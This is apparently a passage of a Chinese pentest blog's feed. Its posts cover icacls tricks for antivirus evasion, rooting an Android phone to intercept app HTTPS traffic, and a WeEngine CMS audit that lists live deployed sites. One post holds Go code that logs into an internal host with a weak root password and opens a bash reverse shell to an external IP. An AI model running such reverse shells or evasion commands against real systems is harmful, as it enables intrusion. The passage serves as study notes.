<content type="html"><![CDATA[<h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>看到一个免杀下载的方式,其中包含这样一条命令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">icacls %cd% /deny %username%:(OI)(CI)(DE,DC)</span><br></pre></td></tr></table></figure><p>之前没接触过icacls,通过这篇笔记好好学习一下</p><h1 id="0x02-介绍"><a href="#0x02-介绍" class="headerlink" title="0x02 介绍"></a>0x02 介绍</h1><p>icacls:修改文件(文件夹)的权限</p><p>icacls是cacls和xcacls的增强版(但我在win10中搜索了一下,只搜到cacls,没搜到xcacls)</p><p>windows中文件(文件夹)的权限分为2种:继承的权限(inherit permission)、明确设置的权限(explicit permission)</p><p>可通过执行icacls.exe %cd%来查看当前目录的权限</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\admin\Desktop>icacls.exe %cd%</span><br><span class="line">C:\Users\admin\Desktop NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)</span><br><span class="line"> BUILTIN\Administrators:(I)(OI)(CI)(F)</span><br><span class="line"> DESKTOP-T86MV1G\admin:(I)(OI)(CI)(F)</span><br><span class="line"></span><br><span class="line">已成功处理 1 个文件; 处理 0 个文件时失败</span><br></pre></td></tr></table></figure><p>具体想掌握它是干什么的,怎么使用它,需要耐心的查看下面几个文章:<br><a href="https://ss64.com/nt/icacls.html">https://ss64.com/nt/icacls.html</a><br><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls</a><br>cmd下执行icacls.exe /?查看用法帮助 </p><p>其中OI、CI、IO是只针对文件夹还是针对文件夹和文件,讲的不是很清楚,有时间测试一下</p><h1 id="0x03-用法"><a href="#0x03-用法" class="headerlink" title="0x03 用法"></a>0x03 用法</h1><p>回到最初那条命令,解释如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 设置当前用户对当前目录的权限为:禁止删除文件(文件夹)、子文件(子文件夹)</span><br><span class="line">icacls %cd% /deny %username%:(OI)(CI)(DE,DC)</span><br></pre></td></tr></table></figure><p>知道了什么含义,也有了上面学习的知识作为基础,我们可以写一个功能一样,形式不一样的命令,也算是一种免杀储备(暂未测试)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">icacls %cd% /deny %username%:(DE,DC) /T</span><br><span class="line">icacls %cd% /deny %username%:(OI)(CI)(D)</span><br><span class="line">icacls %cd% /deny %username%:D /T</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>看到一个免杀下载的方式,其中包含这样一条命令</p>
<figure class="highligh</summary>
<category term="免杀对抗" scheme="http://example.com/tags/%E5%85%8D%E6%9D%80%E5%AF%B9%E6%8A%97/"/>
</entry>
<entry>
<title>移动端渗透测试环境搭建</title>
<link href="http://example.com/2024/07/15/%E7%A7%BB%E5%8A%A8%E7%AB%AF%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
<id>http://example.com/2024/07/15/%E7%A7%BB%E5%8A%A8%E7%AB%AF%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/</id>
<published>2024-07-15T08:47:10.000Z</published>
<updated>2024-11-18T12:43:05.518Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>接到一个Android APP渗透的任务,尝试用模拟器抓包发现闪退,看来反模拟器,手里有一台手机,型号是OPPO A57 5G,系统是ColorOS 14,手机和电脑在同一WiFi下,安装好burp证书,配置好代理,尝试抓包,发现无法抓取https包,好吧,开启折腾之旅</p><p>oppo安装证书<br><a href="https://www.cnblogs.com/tianpin/p/17503604.html">https://www.cnblogs.com/tianpin/p/17503604.html</a> </p><h1 id="0x02-手机降级"><a href="#0x02-手机降级" class="headerlink" title="0x02 手机降级"></a>0x02 手机降级</h1><p>查阅相关资料得知,安卓7.0开始,想抓https包需要将证书装到系统证书目录下,想装到系统证书目录下需要root权限,现在问题变成如何root</p><p>之前手欠将ColorOS升级到14,我们都知道版本越高越不利于root,所以第一步是降级,ColorOS官方规定,降级需要一级一级降,不能一次降多级,所以我们要先降到ColorOS 13,再降到ColorOS 12,由于ColorOS最低只能降到手机出厂时的系统,我这边最低只能降到ColorOS 12</p><p>ColorOS 14降级到ColorOS 13<br><a href="https://www.ithome.com/0/742/497.htm">https://www.ithome.com/0/742/497.htm</a><br>ColorOS 13降级到ColorOS 12<br><a href="https://bbs.oneplus.com/thread/6387108">https://bbs.oneplus.com/thread/6387108</a> </p><h1 id="0x03-Root准备"><a href="#0x03-Root准备" class="headerlink" title="0x03 Root准备"></a>0x03 Root准备</h1><p>首先复习了一下adb、recovery、fastboot的知识,然后手机连上电脑,开启USB调试,尝试通过adb和fastboot连接手机,发现没有fastboot命令,下载Android Studio的SDK,里面的platform-tools目录下有我们需要的工具(像夜神模拟器安装目录下也有adb,但是没有fastboot)</p><p>adb连接手机<br><a href="https://blog.csdn.net/qq_42864343/article/details/123813339">https://blog.csdn.net/qq_42864343/article/details/123813339</a><br>使用fastboot命令刷机流程详解<br><a href="https://blog.csdn.net/s13383754499/article/details/82755012">https://blog.csdn.net/s13383754499/article/details/82755012</a><br>oppo开启usb调试<br><a href="https://baijiahao.baidu.com/s?id=1750732106730743094&wfr=spider&for=pc">https://baijiahao.baidu.com/s?id=1750732106730743094&wfr=spider&for=pc</a><br>【2021】解决 Android Studio下载SDK失败 问题<br><a href="https://blog.csdn.net/weixin_43461724/article/details/120706675">https://blog.csdn.net/weixin_43461724/article/details/120706675</a> </p><h1 id="0x04-成功Root"><a href="#0x04-成功Root" class="headerlink" title="0x04 成功Root"></a>0x04 成功Root</h1><p>查阅大量文章尝试root,发现OPPO A57 5G无法解锁BootLoader</p><p>oppo手机root<br><a href="https://www.shoujiroot.com/archives/146545.html">https://www.shoujiroot.com/archives/146545.html</a><br><a href="https://www.thenextdroid.com/oppo-a56s-root-without-pc-via-magisk/">https://www.thenextdroid.com/oppo-a56s-root-without-pc-via-magisk/</a> </p><p>oppo a57刷机<br><a href="https://www.cnblogs.com/feiquan/p/9055823.html">https://www.cnblogs.com/feiquan/p/9055823.html</a><br><a href="https://blog.csdn.net/xgocn/article/details/107565522">https://blog.csdn.net/xgocn/article/details/107565522</a><br><a href="http://www.romgw.com/?p=334">http://www.romgw.com/?p=334</a> </p><p>期间尝试刷机时碰到一个问题,我是mac系统下pd虚拟化的win10,无法将串口设备挂接到虚拟机,如下图<br><img src="/2024/07/15/%E7%A7%BB%E5%8A%A8%E7%AB%AF%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/01.png" alt="image"> </p><p>经历各种失败后,已经打算放弃了,想想再试一次万能的淘宝吧,搜了一下,还真有刷机业务并且可以刷OPPO A57 5G,不过mac系统下pd虚拟化的win10不行,需要物理机win10,然后又找了一台物理机win10,全程需要对方远程控制我电脑,很反感别人控制我电脑,好在那台物理机win10上面啥数据也没有,看对面一顿操作,最后成功root</p><p>通过观察他们的操作,发现他们其实是用的一款第三方付费工具UnlockTool,好像是一个越南团队开发的,这款工具其中一个root方式是利用联发科这款CPU的一个漏洞,正好OPPO A57 5G的CPU就是联发科</p><h1 id="0x05-成功抓包"><a href="#0x05-成功抓包" class="headerlink" title="0x05 成功抓包"></a>0x05 成功抓包</h1><p>手机root后成功安装了magisk,但是adb连接后权限还是shell,无法将证书装到系统证书目录下,尝试过Root Explorer,但是无法修改证书权限,最终通过magisk的模块MoveCertiticate成功将证书移到系统证书目录下,需要注意MoveCertiticate会从指定目录将证书移到系统证书目录下,所以需要先将证书放到/data/local/tmp/cert/下</p><p>另外有些app出于反调试目的,可能不走系统本身的代理,需要一款类似Proxifier的全局代理客户端,可以使用Postern</p><p>一切准备就绪后,尝试抓包,可成功抓到app的https包,如下图<br><img src="/2024/07/15/%E7%A7%BB%E5%8A%A8%E7%AB%AF%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/02.png" alt="image"> </p><p>移动端抓包<br><a href="https://xz.aliyun.com/t/11817?time__1311=Cq0xuD07u4lh=iQwYYv3iIPx7qEYoD">https://xz.aliyun.com/t/11817?time__1311=Cq0xuD07u4lh%3DiQwYYv3iIPx7qEYoD</a><br><a href="https://blog.csdn.net/Arched/article/details/135777104">https://blog.csdn.net/Arched/article/details/135777104</a><br><a href="https://github.com/ys1231/MoveCertificate">https://github.com/ys1231/MoveCertificate</a> </p><h1 id="0x06-总结感悟"><a href="#0x06-总结感悟" class="headerlink" title="0x06 总结感悟"></a>0x06 总结感悟</h1><p>之前一直有一个问题,可以直接通过burp抓包,为何还要再通过charles或者fiddler中转一下,这次正好测试了一下,发现直接通过burp抓包,数据包从APP到burp需要好几秒,有点慢,而通过charles中转一下,则可以秒抓</p><p>最后,其实iOS下导入证书就可以抓https包,比Android省事多,所以条件允许的话,优先在iOS下抓包,但是像我这种没有iOS客户端的情况,就得折腾了~</p>]]></content>
<summary type="html"><h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>接到一个Android APP渗透的任务,尝试用模拟器抓包发现闪退,看来反模拟器,手里有一台手机,型</summary>
<category term="Web打点" scheme="http://example.com/tags/Web%E6%89%93%E7%82%B9/"/>
</entry>
<entry>
<title>自动化连接ssh并反弹shell</title>
<link href="http://example.com/2024/05/07/%E8%87%AA%E5%8A%A8%E5%8C%96%E8%BF%9E%E6%8E%A5ssh%E5%B9%B6%E5%8F%8D%E5%BC%B9shell/"/>
<id>http://example.com/2024/05/07/%E8%87%AA%E5%8A%A8%E5%8C%96%E8%BF%9E%E6%8E%A5ssh%E5%B9%B6%E5%8F%8D%E5%BC%B9shell/</id>
<published>2024-05-07T13:35:51.000Z</published>
<updated>2024-11-18T12:43:32.383Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-应用场景"><a href="#0x01-应用场景" class="headerlink" title="0x01 应用场景"></a>0x01 应用场景</h1><p>一个命令执行的口子</p><p>主机不出网</p><p>当前是nobody权限,web目录是root权限,写webshell没权限</p><p>通过一个ctf技巧搞了一个webshell,能上传文件但是不能执行命令</p><p>通过webshell将fscan上传到/tmp目录下,通过入口的命令执行漏洞执行fscan,发现内网有ssh弱口令</p><h1 id="0x02-解决方案"><a href="#0x02-解决方案" class="headerlink" title="0x02 解决方案"></a>0x02 解决方案</h1><p>已知连接ssh的同时可以执行命令<br><img src="/2024/05/07/%E8%87%AA%E5%8A%A8%E5%8C%96%E8%BF%9E%E6%8E%A5ssh%E5%B9%B6%E5%8F%8D%E5%BC%B9shell/image-20230731085919496.png" alt="image"><br>当时的想法是连接ssh,然后执行命令反弹shell,但是连接ssh需要交互式shell,第一时间想到expect,经测试主机上没有expect,然后想到通过python中的pexpect去做这件事,发现目标中的python缺少依赖,如果上传python依赖到对应的依赖库目录太麻烦了,最后想到用go去实现,代码如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line">import (</span><br><span class="line">"bytes"</span><br><span class="line">"fmt"</span><br><span class="line">"log"</span><br><span class="line"></span><br><span class="line">"golang.org/x/crypto/ssh"</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() {</span><br><span class="line"></span><br><span class="line">var (</span><br><span class="line">username = "root"</span><br><span class="line">password = "P@ssw0rd!"</span><br><span class="line">addr = "10.62.139.19:22"</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">config := &ssh.ClientConfig {</span><br><span class="line">User: username,</span><br><span class="line">Auth: []ssh.AuthMethod{</span><br><span class="line">ssh.Password(password),</span><br><span class="line">},</span><br><span class="line">HostKeyCallback: ssh.InsecureIgnoreHostKey(),</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">client, err := ssh.Dial("tcp", addr, config)</span><br><span class="line">if err != nil {</span><br><span class="line">log.Fatal("Failed to dial: ", err)</span><br><span class="line">}</span><br><span class="line">defer client.Close()</span><br><span class="line"></span><br><span class="line">// 开启一个session,用于执行一个命令</span><br><span class="line">session, err := client.NewSession()</span><br><span class="line">if err != nil {</span><br><span class="line">log.Fatal("Failed to create session: ", err)</span><br><span class="line">}</span><br><span class="line">defer session.Close()</span><br><span class="line"></span><br><span class="line">// 执行命令,并将执行的结果写到 b 中</span><br><span class="line">var b bytes.Buffer</span><br><span class="line">session.Stdout = &b</span><br><span class="line"></span><br><span class="line">// 也可以使用 session.CombinedOutput() 整合输出</span><br><span class="line">if err := session.Run("bash -i >& /dev/tcp/123.249.104.83/1234 0>&1"); err != nil {</span><br><span class="line">log.Fatal("Failed to run: " + err.Error())</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">fmt.Println(b.String()) // root</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其实是在赌目标主机出网,盲打成功接收到反弹shell那一刻,还是挺爽的~</p>]]></content>
<summary type="html"><h1 id="0x01-应用场景"><a href="#0x01-应用场景" class="headerlink" title="0x01 应用场景"></a>0x01 应用场景</h1><p>一个命令执行的口子</p>
<p>主机不出网</p>
<p>当前是nobody权限,</summary>
<category term="Web打点" scheme="http://example.com/tags/Web%E6%89%93%E7%82%B9/"/>
</entry>
<entry>
<title>小程序-多用户微博系统</title>
<link href="http://example.com/2024/05/07/%E5%B0%8F%E7%A8%8B%E5%BA%8F-%E5%A4%9A%E7%94%A8%E6%88%B7%E5%BE%AE%E5%8D%9A%E7%B3%BB%E7%BB%9F/"/>
<id>http://example.com/2024/05/07/%E5%B0%8F%E7%A8%8B%E5%BA%8F-%E5%A4%9A%E7%94%A8%E6%88%B7%E5%BE%AE%E5%8D%9A%E7%B3%BB%E7%BB%9F/</id>
<published>2024-05-07T13:30:01.000Z</published>
<updated>2024-11-18T13:03:03.029Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>之前有段时间在搞小程序开发,搞来搞去最终放弃了,不过收获还是蛮多的,记得刚入行安全时,一直想学开发,总觉得不懂开发就搞不好安全,现在也算圆了这个执念,学习开发对安全是有帮助的,不过现在想对那时的自己说一句,不用专门学开发也可以把安全搞得好</p><h1 id="0x02-简介"><a href="#0x02-简介" class="headerlink" title="0x02 简介"></a>0x02 简介</h1><p>一个简易的多用户微博系统,每个人都可以在上面留言,欢迎大家留言,地址:<a href="https://static-mp-5cacf972-c2bb-47de-9b31-244f0c9e5038.next.bspapp.com/article/#/">https://static-mp-5cacf972-c2bb-47de-9b31-244f0c9e5038.next.bspapp.com/article/#/</a></p><p>截图如下:<br><img src="/2024/05/07/%E5%B0%8F%E7%A8%8B%E5%BA%8F-%E5%A4%9A%E7%94%A8%E6%88%B7%E5%BE%AE%E5%8D%9A%E7%B3%BB%E7%BB%9F/01.jpg" alt="image"></p>]]></content>
<summary type="html"><h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>之前有段时间在搞小程序开发,搞来搞去最终放弃了,不过收获还是蛮多的,记得刚入行安全时,一直想学开发,</summary>
<category term="工具开发" scheme="http://example.com/tags/%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>分享一个自己开发的工具</title>
<link href="http://example.com/2024/05/07/%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%AA%E8%87%AA%E5%B7%B1%E5%BC%80%E5%8F%91%E7%9A%84%E5%B7%A5%E5%85%B7/"/>
<id>http://example.com/2024/05/07/%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%AA%E8%87%AA%E5%B7%B1%E5%BC%80%E5%8F%91%E7%9A%84%E5%B7%A5%E5%85%B7/</id>
<published>2024-05-07T13:25:18.000Z</published>
<updated>2024-11-18T13:03:24.261Z</updated>
<content type="html"><![CDATA[<p>程序流程如下<br><img src="/2024/05/07/%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%AA%E8%87%AA%E5%B7%B1%E5%BC%80%E5%8F%91%E7%9A%84%E5%B7%A5%E5%85%B7/01.png" alt="image"></p><p>之前做红队时自己开发的工具,代码完全开源到GitHub,地址:<a href="https://github.com/ybdt/RuiningGather-Python">https://github.com/ybdt/RuiningGather-Python</a></p>]]></content>
<summary type="html"><p>程序流程如下<br><img src="/2024/05/07/%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%AA%E8%87%AA%E5%B7%B1%E5%BC%80%E5%8F%91%E7%9A%84%E5%B7%A5%E5%85%B7/01.pn</summary>
<category term="工具开发" scheme="http://example.com/tags/%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>向日葵旧版本下载</title>
<link href="http://example.com/2024/04/28/%E5%90%91%E6%97%A5%E8%91%B5%E6%97%A7%E7%89%88%E6%9C%AC%E4%B8%8B%E8%BD%BD/"/>
<id>http://example.com/2024/04/28/%E5%90%91%E6%97%A5%E8%91%B5%E6%97%A7%E7%89%88%E6%9C%AC%E4%B8%8B%E8%BD%BD/</id>
<published>2024-04-28T12:29:09.000Z</published>
<updated>2024-10-06T01:40:22.015Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-成果"><a href="#0x01-成果" class="headerlink" title="0x01 成果"></a>0x01 成果</h1><p>可下载15.3.2.62919(截止到2024.04.03的最新版)到12.5.1.44969之间的任意版本,如下图<br><img src="/2024/04/28/%E5%90%91%E6%97%A5%E8%91%B5%E6%97%A7%E7%89%88%E6%9C%AC%E4%B8%8B%E8%BD%BD/01.png" alt="image"><br>更旧的版本不能下载,原因见下文</p><h1 id="0x02-起源"><a href="#0x02-起源" class="headerlink" title="0x02 起源"></a>0x02 起源</h1><p>想用旧版本向日葵测试一个功能,发现官网只提供最新版下载,故研究下如何下载旧版本</p><h1 id="0x03-过程"><a href="#0x03-过程" class="headerlink" title="0x03 过程"></a>0x03 过程</h1><p>下载页面点击下载后,burp抓包,依次筛选每个请求包,发现如下请求包最像下载链接<br><img src="/2024/04/28/%E5%90%91%E6%97%A5%E8%91%B5%E6%97%A7%E7%89%88%E6%9C%AC%E4%B8%8B%E8%BD%BD/02.png" alt="image"> 如图可看到,根据参数versionid指定版本,试了下2225、2224都返回404,看来不是每个数字都有对应版本,写个python脚本生成1到2226的字典,请求包扔到Intruder中进行爆破,发现如上请求id返回302<br><img src="/2024/04/28/%E5%90%91%E6%97%A5%E8%91%B5%E6%97%A7%E7%89%88%E6%9C%AC%E4%B8%8B%E8%BD%BD/03.png" alt="image"> ok,现在我们可以根据id下载对应版本</p><h1 id="0x04-遗憾"><a href="#0x04-遗憾" class="headerlink" title="0x04 遗憾"></a>0x04 遗憾</h1><p>经测试,版本SunloginClient_12.5.0.44227_x64.exe及之前的版本,下载后会返回404,猜测可能官方给删除了</p>]]></content>
<summary type="html"><h1 id="0x01-成果"><a href="#0x01-成果" class="headerlink" title="0x01 成果"></a>0x01 成果</h1><p>可下载15.3.2.62919(截止到2024.04.03的最新版)到12.5.1.44969之间的</summary>
<category term="免杀对抗" scheme="http://example.com/tags/%E5%85%8D%E6%9D%80%E5%AF%B9%E6%8A%97/"/>
</entry>
<entry>
<title>微擎审计</title>
<link href="http://example.com/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/"/>
<id>http://example.com/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/</id>
<published>2024-04-22T12:18:00.000Z</published>
<updated>2024-04-22T14:56:15.537Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-目标熟悉"><a href="#0x01-目标熟悉" class="headerlink" title="0x01 目标熟悉"></a>0x01 目标熟悉</h1><p>软件简介:微擎是宿州市微擎云计算有限公司开发的一款免费开源的微信公众号管理系统</p><p>官网地址:<a href="https://www.w7.cc/">https://www.w7.cc/</a></p><p>开发文档<a href="https://wiki.w7.com/document/35/370">https://wiki.w7.com/document/35/370</a>中提到,源代码位于:<a href="https://gitee.com/we7coreteam/pros">https://gitee.com/we7coreteam/pros</a></p><p>根据在线文档<a href="https://wiki.w7.com/document">https://wiki.w7.com/document</a>中的更新公告,最新版是2.7.50</p><p>根据开源代码库<a href="https://gitee.com/we7coreteam/pros/tree/master/upgrade">https://gitee.com/we7coreteam/pros/tree/master/upgrade</a>中的记录,最新版是2.7.9</p><p>网站搭建好后,在底部又发现最新版是2.7.108,有点奇怪</p><h1 id="0x02-环境搭建"><a href="#0x02-环境搭建" class="headerlink" title="0x02 环境搭建"></a>0x02 环境搭建</h1><p>搭建微擎的过程中踩了很多坑,以下2个坑想搭建的师傅有个心理准备: </p><p>1 微擎的版本挺错乱的,下载后是2.7.108,结果搭建完成后底部却显示2.7.94,同样其他版本也是,下载时是一个版本,搭建后又是另一个版本 </p><p>2 在官网上已经不再提供离线安装的版本,而且提供的安装包<a href="https://gitee.com/we7coreteam/pros">https://gitee.com/we7coreteam/pros</a>也是很多功能不全,必须要在官网注册认证过了才能通过在线升级来获取到全部功能,有点让人无语</p><p>下面是对官网提供的安装脚本的安装演示,一开始使用mac下的php集成环境MAMP,结果在最后一步连接数据库的时候会有问题,这里改用windows下集成环境phpstudy,将项目放到phpstudy对应目录下,访问后按提示操作即可,搭建完成如下图<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221205225919717.png" alt="image-20221205225919717"></p><p>访问目标地址,发现是已登录状态<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221205230926175.png" alt="image-20221205230926175"></p><p>使用全新的浏览器访问目标地址,可看到未登录状态下首页如下图<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221205230806912.png" alt="image-20221205230806912"></p><p>下图是踩坑时搭建的多个版本<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221208234726862.png" alt="image-20221208234726862"><br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221208235104390.png" alt="image-20221208235104390"> </p><h1 id="0x03-互联网案例"><a href="#0x03-互联网案例" class="headerlink" title="0x03 互联网案例"></a>0x03 互联网案例</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">https://www.zxida.com/web/</span><br><span class="line">https://39.98.239.118/web/</span><br><span class="line">https://www.cdwjsq.com/web/</span><br><span class="line">https://mp.wxquan.cn/web/</span><br><span class="line">http://49.234.65.194/web/</span><br><span class="line">http://wx.mindmob.cn/web/</span><br><span class="line"></span><br><span class="line">intitle:"微擎 - 公众平台自助引擎 - Powered by W7.CC"</span><br></pre></td></tr></table></figure><h1 id="0x04-开始审计"><a href="#0x04-开始审计" class="headerlink" title="0x04 开始审计"></a>0x04 开始审计</h1><h2 id="01-目录结构"><a href="#01-目录结构" class="headerlink" title="01 目录结构"></a>01 目录结构</h2><p>源码下载到本地后,可以看到目录结构如下<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221206092703445.png" alt="image-20221206092703445"></p><p>对上述目录结构解释如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">addons 微擎模块</span><br><span class="line">api 对接外部系统接口</span><br><span class="line">app 微站 (Mobile / App)</span><br><span class="line">data 存放配置文件</span><br><span class="line">framework 微擎框架</span><br><span class="line">payment 支付调用目录</span><br><span class="line">tester 测试用例</span><br><span class="line">upgrade 升级脚本</span><br><span class="line">web 后台管理</span><br><span class="line">api.php 微信api接口</span><br><span class="line">console.php 命令行执行文件</span><br><span class="line">index.php 系统入口</span><br><span class="line">install.php 安装文件</span><br><span class="line"></span><br><span class="line">attachment 附件目录</span><br></pre></td></tr></table></figure><h2 id="02-确定路由"><a href="#02-确定路由" class="headerlink" title="02 确定路由"></a>02 确定路由</h2><p>当传入的URL请求中包含一个名为 <strong>c</strong> 、 <strong>a</strong> 、 <strong>do</strong> 的 GET 参数,它即被视为一个路由,其中c为控制器(controller),a为操作(action),do为行为(do),且do是可选的,也就是不指定的话会使用默认行为,例如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">http://we7.cc/web/index.php?c=platform&a=menu&</span><br><span class="line">则会路由至 /web/source/platform/menu.ctrl.php 文件中</span><br><span class="line"></span><br><span class="line">http://we7.cc/app/index.php?c=mc&a=home&</span><br><span class="line">则会路由至 /app/source/mc/home.ctrl.php 文件中</span><br></pre></td></tr></table></figure><p>控制器以文件夹、文件的形式组织,位于系统的 <strong>source</strong> 目录下,每一个目录代表一个 <strong>controller</strong> ,文件夹中的每个文件即为一个 <strong>action</strong>。某些情况,一个action可能会包含多个操作,系统中提供 <strong>do</strong> 参数来用于区分同一个 <strong>action</strong> 中的不同操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">例如,extension为控制器,module为action,designer为该action下的某一个具体的do</span><br><span class="line">http://pro.we7.cc/web/index.php?c=extension&a=module&do=designer</span><br></pre></td></tr></table></figure><p>微擎中对于模块的访问,使用的路由会稍微不一样,当传入的 <strong>c</strong> 值为 “site”, <strong>a</strong> 值为 “entry”时则是一个模块路由,例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">http://we7.cc/web/index.php?c=site&a=entry&do=themeset&m=we7_demo</span><br><span class="line">则会路由至 /addons/we7_demo/site.php 文件中的 doWebThemeset() 方法</span><br><span class="line"></span><br><span class="line">http://we7.cc/app/index.php?i=1&j=2&c=entry&do=list&m=we7_demo</span><br><span class="line">则会路由至 /addons/we7_demo/site.php 文件中的 doMobileList() 方法</span><br></pre></td></tr></table></figure><h2 id="03-确定鉴权"><a href="#03-确定鉴权" class="headerlink" title="03 确定鉴权"></a>03 确定鉴权</h2><p>文档中提到,移动端代码位于目录/app/下,web段代码位于目录/web/下,我们先看下web端代码,目录结构如下<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221206153500089.png" alt="image-20221206153500089"></p><p>其中入口文件为index.php,通读index.php后会发现,鉴权主要由如下代码实现<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221206153714847.png" alt="image-20221206153714847"></p><p>可看到如果访问的是无需鉴权的接口,则直接跳到对应controller及action处,否则会调用checklogin(),也就是需要检查登录状态</p><p>其中$acl在上面被定义为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$acl = require IA_ROOT . '/web/common/permission.inc.php';</span><br></pre></td></tr></table></figure><p>进入文件permission.inc.php可看到,控制器advertisement下面无可直接访问的action,控制器article下面notice-show,news-show,notice-news是可直接访问的<br><img 